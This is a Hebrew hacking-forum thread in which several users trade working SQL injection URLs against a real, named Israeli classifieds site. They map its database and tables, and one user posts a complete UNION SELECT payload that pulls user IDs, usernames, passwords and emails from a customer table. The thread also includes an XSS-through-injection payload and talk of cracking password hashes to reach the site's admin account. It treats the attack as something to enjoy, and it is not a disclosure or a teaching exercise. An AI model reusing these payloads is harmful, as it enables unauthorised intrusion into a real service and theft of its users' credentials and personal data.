פרסום פירצה באתר YAD2 אבל לא מצליח למצוא את הטבלאות

[Reggae-Man]

הינה תראו

http://yad1.yad2.co.il/Articles.php?lang=fr&NewsID=355'

סליחה התבלבלתי אני לא מצליח לגשת למסד מישהו מצליח?

[JsT]

לא נותן למחוק

[Yoske]

מצאתי DB, אני מוציא מידע.

[Reggae-Man]

יוסקה אתה יודע שביויו עדיין לא סגרו תחור חחחח

[Yoske]

XSS :

http://yad1.yad2.co.il/Articles.php?...6e743e,3,4,5,6


DB :

http://yad1.yad2.co.il/Articles.php?...%28%29,3,4,5,6


TABLE :

http://yad1.yad2.co.il/Articles.php?...tabase%28%29--


מה עוד אתה רוצה ? תעשה חיים..

[Reggae-Man]

אני לא מצליח לקבל תפרטים של LOGIN

http://yad1.yad2.co.il/Articles.php?...a=0x6c6f67696e

אני לא מצליח יוסקה תוכל לעזור לי

[Yoske]

תראה איזה ניחוש מוצלח :

http://yad1.yad2.co.il/Articles.php?...6+from+login--


http://yad1.yad2.co.il/Articles.php?...6+from+login--

בסיסמאות לא מציג לי מידע :\

או ככה אם תרצה :

http://yad1.yad2.co.il/Articles.php?...6+from+login--

[razkid]

XSS :

http://yad1.yad2.co.il/Articles.php?...6e743e,3,4,5,6
זה לא XSS זה XFS
XSI=XSS FROM SQLI

DB :

http://yad1.yad2.co.il/Articles.php?...%28%29,3,4,5,6


TABLE :

http://yad1.yad2.co.il/Articles.php?...tabase%28%29--


מה עוד אתה רוצה ? תעשה חיים..

זה XFS..
XSS FROM SQLI..
לנושא ---
http://yad1.yad2.co.il/Articles.php?lang=fr&NewsID=-355 UNION SELECT 1,concat%28UserID,0x3a,UserName,0x3a,Password,0x3a,Email%29,3,4,5,6 FROM camp_cust_users
תהנה

[Reggae-Man]

אה תודה על העזרה לא סתם אומרים שאתה תותח חח ובאמת חבל שאי אפשר לגשת לסיסמאות

[razkid]

למה אתה צריך לגשת לססמאות? =\

[Reggae-Man]

וחבל שאי אפשר לפצח תהאש ורז כדי לראות שהצלחתי להתחבר לאדמין באתר גדול כמו זה קיצר בשביל סיפוק עצמי

[razkid]

אתה יודע שאיזה האקר ישראלי לפני הרבה זמן (לפני שידעו מזה SQL inject) דפייס את נסא? והיה לו הרבה סיפוק עצמי בכלא אם אתה מבין למה אני מתכוון

[Reggae-Man]

הוא גם גנב כמה מליונים עם לא שמעת על זה ועם רק פורצים ולא עושים נזק לא ממש יעשו לך משהו וגם תמיד יש אפשרות לדווח אחרי שפורצים

[Yoske]

זה XFS..
XSS FROM SQLI..
לנושא ---
http://yad1.yad2.co.il/Articles.php?lang=fr&NewsID=-355 UNION SELECT 1,concat%28UserID,0x3a,UserName,0x3a,Password,0x3a,Email%29,3,4,5,6 FROM camp_cust_users
תהנה

XFS לא שמעתי על זה בחיים, המצאת עכשיו ?

[razkid]

XFS לא שמעתי על זה בחיים, המצאת עכשיו ?

תקיצור כן אבל הXSS שפרסמת לא כולה עשית HEX לקוד HTML